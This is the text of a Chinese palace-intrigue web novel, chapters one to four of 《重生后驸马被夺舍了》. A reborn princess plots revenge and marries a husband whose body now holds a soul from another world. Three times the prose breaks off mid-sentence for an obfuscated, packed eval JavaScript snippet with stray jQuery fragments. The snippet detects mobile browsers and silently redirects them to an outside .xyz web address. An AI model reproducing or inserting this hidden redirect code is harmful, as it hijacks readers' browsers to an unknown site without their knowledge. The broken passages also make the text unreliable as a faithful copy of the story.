《重生后驸马被夺舍了》
1. 重生
北靖京都云阳,是天下第一富贵繁华之地,珍奇遍地,行商不绝,京中百姓皆衣食无忧,乐极天下。
然而此刻的云阳城,青天白日里,大街小巷却不见一人,空荡荡的,活似一座鬼城。
“报——敌军已兵临城下!南衡主帅放言,若半个时辰内再不开城门,势要强攻!”
“他做梦!”身着龙袍的男人掀翻了桌案,胸口起伏,继而问道:“援军呢?援军怎么还不来?”
“援军在清黎遇袭,尚在厮杀,即便此刻赶过来,也至少需要一个时辰。”
北靖年轻的皇帝从高殿上下来,转念想到了什么,眼睛一亮,道:“长公主呢?”
一旁的内侍面露难色,支支吾吾回道:“方才派人去请,长公主不肯进宫,说,说要让太后娘娘亲自去请。”
“请?她不过就是仗着自己还有几分用处,此刻给朕拿乔!”北靖皇帝一挥手,吩咐道:“去把她绑到城楼上,能拖到援军来,也算是有她的用处!”
他们口中的长公主,此刻正素衣散发,跪坐在公主府的正堂内。
屋内光线晦暗,一束光自窗上射进来,照出无数尘埃,最终落在长公主的身后。
房门吱呀一声被推开,室内的人没有回头。
来人居高临下看着屋里人的背影,攥紧了掌心,压了压心中的憎恨,才走上前去,开口道:“这一切都是因你而起!如今,你合该被送到城楼上去,哀家倒要看看,那位南衡新帝,会不会顾念往日情分?”
长公主冷笑一声:“往日情分?就算保得住我的命,难道也能保得住太后和您那位皇帝儿子的命吗?”
太后半蹲下来,在对方耳边咒骂:“商景徽!你和你那短命的娘一样,贪生怕死,懦弱无能!”
商景徽回头,生白的光线打在她的脸上,相似的眉眼和可怖的神情,令太后想起了午夜梦回时来索命的怨魂。她心惊了一瞬,怔愣着后退,就在这个间隙里,被利刃刺破了喉咙。
门外等候的宫人见此情景,赶忙要进门,屋内的长公主却口喷鲜血,自己先倒在了血泊里。
门口的宫人忽然乱作一团,四处逃窜,商景徽恍惚间听见了嘈杂的马蹄声,还有镇天的喊杀声。
可恨,不能等到秦简了……
若有来世,她一定亲自除掉这些人,一笔一笔地清算。
——
“景徽,探花郎秦简,才貌双全,朕已经拟好了圣旨,将他赐婚与你。”
商景徽从上一世的回忆里回过神来,礼节上广受褒扬的公主,罕见地没有立即回皇帝的话。
皇帝见她没反应,以为她觉得门第不相当,于是又笑着说:“你是大靖唯一的嫡公主,金枝玉叶,探花郎出身寒门,门第相差甚远。不过,朕会封他为承恩伯。”
商景徽浅笑,起身恭恭敬敬地跪下,做出正要开口谢恩的样子。
忽然从外面跑进来一个小太监,惶急地禀报:“探花郎坠湖了!”
商景徽没跪住,用手撑了一下地,身边的宫人见状立即扶住了她。而这位公主殿下,却低着头,借着宽大衣袂的遮掩,缓缓勾了勾唇。
今日,皇帝特意在迎嘉湖上设宴,实则为公主择婿,而那位准驸马爷,探花郎秦简,却忽然在宴席上坠湖。
商景徽一直低着头,跪坐在殿上,听着皇帝询问具体情况,小太监说有人发现时,探花郎已经落水许久了,救上来后脸色不大好了。
初步判断,许是探花郎吃醉了酒,失足落水。
皇帝来回踱步,下意识快速转动手上的扳指,又问:“人怎么样了?”
小太监不敢抬头,伏在地上,低声回话:“人已经送回府了,请了太医诊治,尚在昏迷。”
皇帝摆了摆手,只得吩咐:“命人好生照料,探花郎若是醒了,立即禀报。”
小太监告退,皇帝又安抚了商景徽一番,才放她回长乐宫。
宫女朱蕤侍奉商景徽卸妆,镜子里的人面露疲态,朱蕤于心不忍,劝道:“今日兰若为殿下调制的安神香已经备好了,晚上就能点上,殿下自己也要放松些,有什么烦心事,可以跟奴婢们说说。”
朱蕤察觉得出,公主这些天一直心绪不宁。从前,商景徽夜间就寝后,不习惯让人在寝殿内侍奉,可最近半个月,每每入夜,商景徽便不允全熄了烛火,还命宫人在榻边守夜。
朱蕤和兰若问她是否心里有事,商景徽却只是浅浅笑着安慰她们。可她那因笑意而弯起的眉眼中,分明藏着岁月磋磨的疲惫,与压抑难言的悲痛,就仿佛金枝玉叶的公主,隔着十几年的痛苦与歉疚,与她们遥遥相望。
这几日,朱蕤始终忘不了那日的情形。
琼林宴后的第三日,商景徽在京城第一酒楼淳味楼的门口,救下了一名青年人。
青年人名唤卫愈,带着患病的师父在云阳城勉强过活,却因冲撞了权贵的车驾,差点被当街打死。
商景徽命淳味楼老板给卫愈解围,随即给卫愈下达了第一个任务。
那天,公主的神情是从未有过的淡漠。她拈起一颗坚果,投进茶水中,垂眸看着坚果沉入水底,语气里浸满了危险与冰冷,对卫愈说:“探花郎秦简,水性极差。”
朱蕤想到这里,终是没忍住,于是放下手中的银梳,半跪在一边,问道:“殿下,探花郎昏迷不醒,需要再召卫愈吗?”
“我如今出宫太过招摇,先不必见他。”商景徽侧着脸,卸了耳坠,说:“任何事都不能确保万无一失,转告他,先安心在淳味楼侍奉他师父,等候差遣。”
半个月前,琼林宴上传来风声,皇帝要在新科进士中为公主择一名佳婿。商景徽的精神就是从那之后变得不大好的,朱蕤猜测商景徽是不想出嫁,于是问道:
“公主,若是探花郎醒不过来了,那陛下还会另行为您指婚吗?”
“会。”商景徽答得很干脆,她携着朱蕤的手,二人起身,她才解释道,“父皇打算用我的婚事,笼络新贵,以抗衡世家,这是我衣食无忧,受人敬仰的代价,也是身为公主的责任。”
朱蕤欲言又止,往旁边看了一眼兰若,对
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383547|184171||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
方不语,她才继续说:“如果殿下实在不想嫁,也可直接秉明陛下,陛下如此疼爱您,您大可以任性一下,以祈福之名修道,又可常侍奉陛下,尽了孝心,何必强逼自己呢?”
“谁说我不想嫁?”商景徽待朱蕤说完,温和地笑了,柔声解释说:“若是一直待在宫里,或者出宫修行,我都无法自由行事。下嫁朝臣,才是我接触朝政最便宜的手段。”
商景徽重生回来半个月,先联络表兄沈道行,接管淳味楼,作为内外沟通往来的“驿站”,又凭着上一世的记忆,救下了卫愈师徒,将卫愈收为己用。
这一切都仅仅算是铺垫。
毕竟她尚在皇宫居住,行走不便,办事多有掣肘。
商景徽揉了揉眉心,自从重生回来,她夜夜不得安眠。
上一世,父皇于三月三十迎嘉湖宴会之后,为她和探花郎秦简赐婚。婚后,商景徽温柔体贴,秦简谦和有礼,郎才女貌,相敬如宾。
商景徽无疑是整个云阳城最幸福的娘子。
商景徽那时以为,这会是她的一辈子。
可这一切,从秦简南下赈灾后,悄然改变。
秦简南下赈灾,意外失踪,活不见人,死不见尸。
商景徽在担忧与痛苦中寡居。好在,父皇对她宠爱有加,她的日子并不艰难。
可惜,秦简失踪的第三年,康德帝驾崩,商铖继位,其母惠贵妃卢清婉为太后,对商景徽百般折磨。
直到南衡政变,新帝登基后,第一件事便是与北靖开战,而那位新帝就是秦简。
商景徽从幽居的噩梦里惊醒,听见了淅淅沥沥的雨声。
先皇后沈容书走得早,皇帝追思发妻,不复立后。帝后育有一子一女,长子为太子,五年前薨逝。
商景徽是大靖唯一的嫡公主,又肖似母亲,所以康德帝对其宠爱有加,不仅在先皇后薨逝后,破例允许商景徽继续住在皇后生前所居的长乐宫里,还专门为公主精挑细选了教习女官。
从前,商景徽只想安安稳稳,富贵荣华地走过一生。可上一世却遭秦简欺骗,被卢清婉磋磨,落得国破人亡的下场。
春雷炸响,室内昏暗,商景徽看着烛火摇曳。
她要谋权。
只有权势,才能复仇保命。
商景徽推开窗,潮湿冰凉的水汽扑面而来,细雨打海棠,海棠依旧。
宫人为她罩上了外衫,商景徽看了一眼灰蒙蒙的天,雨不大,商景徽却觉得足够自己冷静下来了。
皇帝虽未正式下旨,但已经向商景徽提过赐婚之事。如今探花郎昏迷,生死未卜,商景徽不宜露头,于是便深居简出,正好得了清闲。
她强迫自己清醒,实在不安时,就读几页书,如此,也不忘晨昏定省。
毕竟,公主殿下需要一个顶好的名声,才更容易取得的朝臣们的尊重和信任。
连日阴雨,三日后终于放晴。彼时,商景徽正倚着窗,看着兰若指挥院里宫人侍弄花草,却有小太监来报:
“探花郎醒了,已无大碍!”
2. 成婚
“国家盛典,礼乐为先,男女及时,婚姻为重。咨尔楚国公主,纯谦孝友,柔嘉懿娴。咸阅图史,克勤修德。今承恩伯秦简,年少登科,才貌冠世,若临风之玉树,照乘之明珠。可以应合姓之典,奉御轮之躅。择四月十九,公主可出适秦简。”
商景徽接了圣旨,宣旨太监乃大庆宫管事张福全,后者道了恭喜,兰若将早已备好的赏钱递给张福全,便将其送出了长乐宫。
“这探花郎真是命硬,落水后昏迷了三日,竟能完好无损地醒过来。”朱蕤看着张福全出了长乐宫,才说。
商景徽依旧站在原处,盯着院中的海棠花,像是在思索什么,没有说话。
兰若从宫门处折返,往院中走,商景徽才回头,对朱蕤说:“此事蹊跷,秦简其人,疑心颇重,他平白落水,绝不会毫不追究。”
朱蕤不解,道:“莫非是没有证据,探花郎不想多事?”
商景徽哂笑,道:“据卫愈描述的情形,秦简的身上,应当有皮肉淤青的伤痕,这不可能不令人起疑。只要他想,以父皇的爱才之心,大可以顺理成章地查下去,可是他清醒后是如何解释的?”
兰若已经进屋,关上了房门,接话道:“探花郎亲口说,自己不慎摔倒,磕到了石头上,起身时没站稳,才滑进了水中。”
朱蕤蹙着眉,她明白公主如今想要权势,可又不明白公主对秦简的态度,于是试探着问:“那么殿下,我们现下该作何打算?”
商景徽抚摸着花瓶中的玫瑰,目光落在尖刺上,玩味地笑了,她说:“不做打算了,奉旨成婚。”
探花郎被人推下水,醒来却一口咬定自己只是失足落水。以商景徽对秦简的了解,就算对方现在羽翼未丰,要息事宁人,也定然不会全然隐去。这件事上可做的文章太大了,以秦简的城府,怎么能错过这么好的机会。
商景徽下意识攥紧了衣袖,她现在能猜到的,只有一种可能。
商景徽可以重生,那么秦简就未必不能。
若真如此,还需另行筹谋。
第二日,商景徽被召去了大庆宫,皇帝和惠贵妃卢氏连同太常寺卿、奉礼郎商议公主出降事宜。
“公主出降,关乎皇室颜面,景徽是朕的金枝玉叶,婚礼规制,需较前朝再高一级。”
听了皇帝的安排,太常寺卿面露难色:“陛下,两年前寿安长公主出降,是按正常规制举行,依纲常礼法,楚国公主不应高于长公主。”
皇帝大手一挥,笑道:“楚国公主乃大靖福星,如此规制,并不为过。至于寿安长公主,便另行册封为齐国长公主,楚国公主婚后与齐国长公主规制相同,按正一品标准领月俸。”
商景徽如此受皇帝爱护,并非只是追念先皇后,更重要的原因,是皇帝口中的“福星”。
如今天下三分,北靖,南衡,西蜀,另西北还有胡戎六部族,谁都希望天下能够统一在自己手里。
商景徽降世时,钦天监卦辞曰:“此女出,天下一。”
正是因为这个卦辞,商景徽才得以受尽荣宠。如今,皇帝为她赐的封号“楚”,楚地位于南衡与西蜀的交界之处,北靖封给公主,本为虚封,可见皇帝的期盼与重视。
上一世,这句卜辞着实应验了,只可惜,一统天下的不是北靖,却是南衡下一任君主,秦简。
至于这一世,秦简还能否如此顺遂,可就说不准了,商景徽暗暗想。
太常寺卿、奉礼郎领命告退,殿内只剩皇帝、惠贵妃、商景徽,连同一众太监宫女。
惠贵妃起身,走到皇帝身边,问道:“陛下,关于公主府的置办,臣妾一时拿不定主意,若有不当,恐怕轻慢了景徽,还请陛下定夺。”
“公主府的装潢,一应按照宫中规制安排。另外,再将丽景园赐与公主和驸马作为日常休息的别苑。”皇帝转向商景徽,慈和地说:“至于奴仆侍卫,探花郎在京城孑然一身,公主府的奴仆就按照景徽自己的心意安排吧。”
商景徽恭敬行礼,笑道:“父皇与贵妃娘娘费心安排,儿臣本不该再提要求。但女儿还是希望,公主府的安保,能由定远公府筹备。”
现今的定远公沈遴,乃先皇后沈容书之兄长,商景徽之母舅。
定远公有两子,长子沈衡,现今驻守西北,次子沈道行,常年在京中,现任禁军统领。
皇帝听后,并无异议,便应允了:“那便交由沈道行安排。”
一应事宜安排妥当后,商景徽告辞离开,惠贵妃却偏要与她同行。
惠贵妃卢清婉,出身京城五大世家之一的卢氏,其子商铖,方十六岁,是现今皇帝最年长也最受重视的皇子。
卢清婉母子背靠卢氏,然而五大世家盘根错节,利益俨然一体,近年来世家风头日盛,皇帝有意制衡,才将商景徽下嫁寒门出身的进士,以笼络新贵。
这些事,商景徽上一世就明白,但与卢清婉保持面上的平和总归是必要的,可后来康德帝驾崩,卢清婉成为太后,彻底撕破了从前的伪装。
商景徽又想到了前世弥留之际,她与卢清婉的对峙,心下越发厌恶此刻的同行,遂不欲与对方多做交谈,只微笑着敷衍惠贵妃。
二人行至桥上,卢清婉却忽然携住了商景徽的手,商景徽心下反感,打算不动声色地将手抽回来,谁料对方却拉得更紧。
商景徽低头看看惠贵妃死死拉着自己的手,抬头露出不解的神情,似笑非笑地问:“贵妃娘娘,这是何意?”
惠贵妃见她没什么反应,冷哼了一声,瞥了一眼尚在桥下等候的宫人,凑近了半步,低声问道:“公主,探花郎是怎么落水的?”
商景徽一时摸不清对方到底是试探,还是已有证据,于是依旧面不改色,假装听不懂,回道:“贵妃娘娘没听说吗?探花郎自己说,是吃醉了酒,脚下一滑,不慎落水。”
卢清婉一手拉着她不放,另一只手按在商景徽的脖颈上,同一个部位,在上一世的卢清婉身上,是被一击致命的地方,如今商景徽清晰感觉到自己脉搏的跳动。
惠贵妃死死瞪着商景徽,语调令人心生寒意:“低声些,公主殿下。”
随后她又凑到商景徽耳边,用只有她们两个能听清的声音说:
“秦简到底是什么身份,你我皆心知肚明。楚国公主不如好好想想,该怎样和驸马撇清关系呢?”
闻言,商景徽浑身僵直。
卢清婉也重生了。
商景徽心下飞速盘算着卢清婉方才的话,对方凭借前世的记忆,知道秦简南衡皇子的真实身份,也猜到了秦简落水的原因。
加之商景徽一定要定远公府负责公主府安保,对方顺藤摸瓜,自然能推测出她也重生了。
商景徽反握住卢清婉的手,眼中洇着寒意,直视着对方,却勾起了唇角,道:“秦简什么身份?秦简是父皇钦点的探花郎,是父皇千挑万选为我寻的驸马,也是父皇亲封的承恩伯!”
商景徽的语速不急,却带着足够强势的气魄,惊得卢清婉矮下一截去。
卢清婉没有说话,商景徽不顾对方向后挣扎,往前拉着卢清婉,继续问道:“贵妃娘娘,您说,还有什么身份?”
商景徽猛地放开卢清婉的手,后者因失了力,惊惶之间向后倒去,险些幌下栏杆。
商景徽却又向前扶了她一把,桥下等候的宫人连忙追上来查看情况。
卢清婉狠狠瞪着商景徽,后者一改方才的凌厉,柔声提醒:“贵妃娘娘可要当心,莫像探花郎一样,不慎落了水。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383548|184171||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
卢清婉被宫人扶着站稳,皮笑肉不笑地说:“多谢公主殿下好意提醒。”
商景徽弯着唇,笑意却不达眼底,直勾勾地盯着卢清婉。后者转身离去,带着乌泱泱的宫人消失在垂柳之后。
商景徽则站在原地,久久出神。
看样子,卢清婉和她一样,暂时并没有掌握秦简就是南衡皇子的切实证据,自然不能告发秦简,所以才会在方才商景徽一口一个“父皇”的威胁中败下阵来。
皇帝爱才,如今将探花郎捧到了天上,在没有十足的证据前,不会相信秦简身份作伪一事。
更何况,那秦简也不是蠢的,自然会为自己找到脱险的法子。
如今,卢清婉直接和她摊牌,但对方重生回来的时间尚不得而知,无论比她是早是晚,商景徽都必须尽早除掉这个隐患。
朱蕤和兰若在一旁唤她,商景徽不再思索,一行人回了长乐宫。
商景徽唤了兰若,吩咐:“你去查一下,母妃薨逝后,长乐宫宫人的去向。”
先皇后薨逝后,后宫事务便交由惠贵妃卢氏全权处理。
惠贵妃当年以祈福之名,将长乐宫的宫人打发出宫,就连其他宫里,也或多或少换了几批宫人。
商景徽又想到了上一世临终时,卢清婉对她充满怨恨的嘶吼。如今想来,母后的薨逝,恐怕另有蹊跷。
兰若比朱蕤稍微年长几岁,会了她的意,低声道:“公主放心,奴婢会将他们搜罗到一处。”
商景徽点了点头,又补充道:“其他宫里同批次遣散的宫人也一起查查,尤其是启祥宫。”
上一世,惠贵妃表面上一直与商景徽相安无事,扮演着一个慈和的“长辈”形象。如今,惠贵妃与她摊牌,倒也免了虚与委蛇。
是夜,商景徽躺在床上,却总觉得胸口压着一口气,不上不下。
如今这境况,真是乱作一锅粥了。
卢清婉重生了,秦简那边尚且不明,但必定有异。
其实暂时来看,秦简对她构不成太大威胁。此时的秦简,羽翼未丰,一是逃不走,二是在北靖根基未稳,暂时掀不起风浪。商景徽还有把握,能够压制他。
可商景徽的目的不再是简单的安稳度日,她想要谋权,又要复仇,这条路就注定艰难。
商景徽看着远处的烛台,昏黄的灯光晕出团团光影,她眨了眨眼,烛光晃动,化作了朱红的喜烛。
朱蕤从外面进来,给她端了些点心,放在桌上,劝她:“公主且吃些东西,垫一垫吧,待会儿驸马爷回来,就不好再吃了。”
商景徽没动,说:“你们吃吧,我吃不下。”
一整天下来,商景徽都心不在焉,典礼如何奢华,排场如何盛大,她都没怎么在意,毕竟是第二次走过相同的程式,经历了前世种种,不同的只能是心境。
不再雀跃,不再期待,只剩怨恨,余留满心算计。
外面传来一阵喧哗声,驸马爷被一群人簇拥着,到了房门口,其余人自觉退下,待人都走净了,房门才被推开。
来人抬眼,与商景徽四目相对,对方眼神直勾勾的,在门口站了好一会儿,也不动。商景徽觉得这人变化还真大,一眼看出对方不是二十岁的秦简。
兰若和朱蕤见来人不动,于是行礼,唤了一声:“驸马。”
门口的人像是刚刚反应过来,慢慢地进了门,并没有靠近商景徽。兰若回头看了一眼公主,眼神询问,商景徽微微点了点头,二人退下,关了房门,房间内只剩两人。
商景徽被一年景花冠压着,不便抬头,便没再看他。谁知对方安静了一会儿,不动也不说话,却忽然跪在了五步开外,道:
“我不是真正的秦简,还请公主殿下放我一条生路!”
3. 处安
跪在地上的男人直视着她,商景徽看着这张再熟悉不过脸,却是意料之外的平静。
眼前这个人的神情太不同了,是秦简一辈子都不可能露出的模样,连同整个人的风采,也变了样。
商景徽看了他半天,对方以为她要问话,公主却抬手先摘下了头冠,轻轻地放在了一边。
长发如墨瀑,散落在肩头,衬得年轻的容颜更加瑰丽。
“你说你不是秦简,如何作证?”公主问道。
“我无法作证。”对方如实答。
商景徽偏头哂笑一声,而后勾了勾手,道:“你上前来。”
对方笑了,快速上前,来到了距离商景徽一步之遥处。
商景徽倾身向前,终于问了:“你是谁?”
“我本名秦处安,二十九岁,灵魂来自另一个世界。秦简落水后,再醒来的,就是我了。”
商景徽听着对方的介绍,略微思索了一会儿,才问:“那你现在这个身体里有几个灵魂?”
秦处安很爽快地答:“只有我一个。”
商景徽又确认了一遍,问:“你能确定吗?”
秦处安:“我保证。”
商景徽看着秦处安,对方丝毫不慌张地直视着她,甚至还对着她笑了笑。
半晌,商景徽才回身坐直,道:“你先起来吧。”
秦处安并没有着急起身,反而探身问道:“公主殿下这是相信我了吗?”
商景徽也没有立刻回答,而是思量了一会儿,才淡淡说:“相信你的话。”
秦处安“哦”了一声,重复了一句“相信我的话”。
商景徽看着他,突然问:“我要是说不信,你难道还能跪着不起来吗?”
“当然不会,”秦处安立刻践行了自己的话,一骨碌从地上爬起来,拍了拍并没有沾上灰的衣摆,继续说,“我可不是犟种。”
商景徽安静地看着秦处安坐到一旁的小圆凳上,他探身看了看桌子上的糕点,才想起什么似的,转头问她:“你饿了吗?”
“不饿。”商景徽仍在观察他。
秦处安却说:“一天没吃东西了吧,怎么可能不饿?公主殿下,要不差人出去买些吃食?”
商景徽:“你自己出去吃也可。”
秦处安靠在椅背上,慵懒地说:“不去,刚才被他们灌了那么多酒,我可去不动了。”
他话音刚落,门外便传来了敲门声,一名侍卫说:“驸马,您要的东西买来了。”
秦处安打开门,将食盒接过来,拎到房里,又将里面的饭菜端出来摆在桌子上,侍女送进来两幅碗筷,随后退下。
商景徽看着一气呵成的一切,凉凉地问:“你都安排好了,还问我作甚?”
秦处安吃了一口蒸饺,答非所问:“公主殿下不拘小节,先吃饭呗。”
商景徽也不矫情,走到桌边坐下,两个人没叫人侍奉,安安静静吃了一顿饭。
饭毕,侍从们撤下碗筷,屋里又只剩商景徽和秦处安两个人。
商景徽已经卸了妆,倚靠在梳妆台边上,问:“你说你来自另一个世界,那么,你对这个世界了解多少?”
“完全了解,但不熟悉。”秦处安想了想,又解释道,“或者说,我对秦简的一切都比较了解。”
商景徽蹙起眉,见对方还有继续往下说的意思,于是便没有开口问。
秦处安补充道:“我还知道你重生了。”
“不过这个不属于我前面所说的‘了解’范畴,这个是我猜出来的。”
商景徽闻言不解,眼中映着烛光,示意对方继续说。
秦处安撑着头,脸有些红,许是喝得多了些,但说话的语气倒不似酒后言语:“我现在要说一件很离奇的事,或许会令你无法接受。”
商景徽很是通情达理地说:“重生本就离奇。”
“我们现在所在的世界,原是一本小说,”他顿了顿,换了一种歧义较小的说法,“或者说话本,传奇之类的,我在原来的世界去世了,意外穿越过来的。”
商景徽平静地说:“所以我们是戏中人。”
“不愧是公主殿下,接受能力蛮好的啊。”秦处安感叹一句,又继续说:“说是‘我们’,也不太贴切,应该说,你们,包括秦简,是书中的角色,而我,是意外成为了戏中人。”
商景徽点了点头,表示对他这番咬文嚼字的理解。
“这本小说的内容,讲的是秦简的半生。”秦处安道,“就是你前世所经历并了解的那些,不过是秦简视角的。”
商景徽:“所以你看过这个话本,了解了他的一切,又意外成为了他?”
“我可不想成为他,”秦处安打了个寒战,神色恹恹,“我只是一个暂住在他身体里的孤魂野鬼罢了。”
商景徽看着秦处安,对方似乎并不喜欢秦简,也不愿待在这里。
这倒是不难理解,倘若眼前这位不曾说谎,也不曾作戏的话,观察他的言谈举止,秦处安的家乡应该与这里全然不同。
谁想待在一个完全陌生的地方呢?
但商景徽并不在意秦处安心情如何,她只在乎真相,于是问道:“那么你是在寻法子回家么?”
秦处安怔愣了一瞬,而后考虑了半刻,才含糊其辞地说:“回不回去,已经无所谓了,我现在就是,随遇而安喽。”
“呵,”商景徽冷哼一声,一步步靠近秦处安,后者直起身子,耳边却划过一道风声,侧眸看去,桌子上赫然扎着一把匕首。
“想随遇而安?你这个身份,做得到吗?”商景徽语气很冷,问他。
秦处安瞟了一眼耳边落下的刀,又看向商景徽,换了一幅讨好的笑颜,很识时务但不太情愿地承认:“不……能……”
“卢清婉,”商景徽拔出匕首,收回鞘内,吐出了这个名字,说,“她也是重生回来的,知道你的身份。”
“所以,皇子殿下,”商景徽毫不掩饰话里的讽刺,“你随时都有可能小命不保。”
“什么?!”秦处安跳起来,又发觉自己声音大了,随即矮了音调,道:“你们重生是有什么团购活动吗?怎么概率这么高?”
商景徽漫不经心地把玩着匕首,陈述自己的目的:“所以,我们必须除掉她。反正父皇不会对我怎
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383549|184171||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
样,但是你,秦处安,作为秦简,你和她必定会有一个人先摔下去。”
“公主殿下啊,”秦处安接过商景徽手中的刀,说,“这是要将在下收为您的刀吗?”
商景徽笑了:“你没有选择。”
“殿下,你重生后,可真够果决的。”秦处安道。
两个人坐在桌边,各具一角。
商景徽抿了一口酒,回道:“你也很聪明啊,毫不逊色于秦简。”
秦处安转着酒樽,笑问:“何解?”
商景徽放下杯盏,支着头,说:“这么容易就猜出我重生了,还不算聪明吗?”
“并不,”秦处安依旧带着笑意,如实说,“我只是拥有了全知视角,所以知道,只有你重生了,才会想到先对秦简下手。”
“况且,整个云阳城里,还有谁敢对风头正盛的探花郎下手?”
“我对他们说,是我自己跌入水中的,你最先想到的可能,不也是秦简重生了吗?”
“你对他,还真是足够了解。”
这个人或许真的不是秦简,这个人话太多了,商景徽暗自想。
不过倒不招人烦,商景徽又想。
也是个可用的棋子。
“你先别睡。”商景徽见秦处安支着头,已经昏昏沉沉要闭上了眼睛,喊了他一声。
秦处安清醒地挺快,抬头间,眼神已经恢复了清明,问:“怎么?”
“总该让你见见,”商景徽笑意不达眼底,对着外面喊了一声。
兰若闻声进来,商景徽吩咐:“传卫愈。”
听到这个名字时,秦处安像是很感兴趣地挑了挑眉,商景徽看他神色,自然明白,这是有所了解的。正好,少费一番口舌。
秦处安当然知道,这个卫愈,在原书中,是秦简的人。
探花郎于三月三十去往迎嘉宴的路上,遇到了卫愈。彼时的卫愈,师父被吴氏公子打死,受了探花郎秦简的接济,后来便成了秦简身边极为得力的侍卫,甚至在她和秦简成婚后,成了公主府首领侍卫之一。
商景徽对卫愈印象很深,此人忠诚无二。上一世,秦简南下赈灾失踪后,卫愈回来,在公主府守了三年,后来意外丧命。
那时商景徽不知其中缘由,直到得知秦简是南衡新帝,公主才后知后觉,卫愈在那位豺狼驸马逃回南衡后,守在公主府,只是为了继续探听北靖情报,至于意外丧命,也是为保全秦简的自我了结。
卫愈进门后,直接单膝跪在了商景徽身边,一直低着头。
商景徽啜了一口茶,才缓缓开口,道:“卫愈,你该抬头看看,认不认得这位?”
卫愈抬头看了一眼身着红袍,斜靠在椅子里的男人,矜贵慵懒,看向他的目光似乎不带任何情绪。
卫愈恭敬而疏离地唤了一声:“驸马爷。”
商景徽在一旁说:“就是他,那日在迎嘉湖上,给你下药,引你去湖边,又给了你一棒,还将你推下水。”
卫愈听着如此详细的描述,抬头错愕的看向公主。
商景徽无视了他的目光,反而转向秦处安,问:“驸马,你说怎么处理?”
4. 搅浑
作为局中人的卫愈,或许搞不清楚公主的做派,可秦处安毕竟是从局外跳进来,自然知道商景徽的意图。
原著中,卫愈是秦简的人,对秦简肝脑涂地,间接害得商景徽山河破碎。
然而此时,公主要将卫愈收入囊中,即便秦处安并无私心,她也并不希望“秦简”和卫愈关系太好。
商景徽不是一个慈和的上位者。
既然“秦简”暂时不必除掉了,商景徽便将这次失败的“谋害”,转变成一个狂妄的“立威”。
秦处安一番揣摩之后,立刻站起来,抬头转身间就扫去了方才端起来的架子,笑道:“公主殿下可莫要再拿此事打趣我了,整个云阳城都在传,探花郎是因为被选为驸马,太过欢心,一时间竟失足掉进了迎嘉湖里。”
秦处安一边说,一边向公主作揖,佯作赧然:“臣日后可还要在朝为官呢,还请殿下为我留几分面子。”
商景徽抬眸看着他,起初似笑非笑,片刻后,才展颜,语调却不冷不热的:“驸马都如此说了,那我日后不再提就是了。”
说罢,她才转向卫愈,平声问:“你师父的病可好些了?”
卫愈抱拳,恭敬地回道:“承蒙殿下福光,师父已痊愈了,如今可在淳味楼做些活计。”
商景徽点了点头,安排:“日后你便留在公主府,直接听从本公主的调遣。”
公主府有完善的守卫机构,安排了武艺高强的侍卫队,均出自定远公府。
而商景徽吩咐卫愈直属于她,那便是要承担一些暗中的差遣。
卫愈的师父教过他不少奇门异术,这种差事自然适合他,卫愈对公主心怀感激,也存了敬畏,便是在所不辞的了。
安排好卫愈,商景徽便命下人都回去歇下了,只留了守夜的侍从在门口待命。
屋里花烛依旧明亮,然而今夜的一对新人自然是全无洞房之意的。
公主府的寝屋很大,中间若打开屏风,算是两个隔间,秦处安歇在外间榻上,商景徽在里间。两人累了一天,明日却还要进宫,便各自睡下了,一夜无话。
次日一早,商景徽和秦处安进宫谢恩,二人承马车至宫门口,便带着仆从,一路步行至大庆宫。
仆从停在大庆宫外等候,商景徽和秦处安仅带了四名侍从,进了大庆宫门,却看见正殿外跪着一人。
二人直接略过去,没有回头,直至到了正殿门口,张福全迎上来,见了礼,公主才问:“王大人为何在殿外跪着?”
原来方才跪着的,是三司使王甫谦,当今京城第一世家王氏掌权人,也是惠贵妃卢氏的母舅。
张福全引着公主与驸马,边走边说:“如今西北打仗要银子,今日朝堂上扯皮许久,议不出个章程来,陛下盛怒,这王大人跪在殿外有小半个时辰了!”
王福全又担忧道:“王大人年事已高,这四月天里过了巳时,日头就不小了,恐王大人受不住啊!”
商景徽温婉地笑道:“公公不必忧心,我去劝劝父皇。”
说罢,二人进了正殿。
“父皇,儿臣这才刚出了门,您就动怒,如此不注意自个儿的身子了吗?”商景徽走上前去,为皇帝拾起扔在地上的折子,放回案上,佯装嗔怒。
商景徽又倒了杯茶奉上,皇帝接了,抬头冷哼一声,道:“这些年朕是太仁慈了,逞得他们不知天威,如今推诿扯皮的能力倒是见长。”
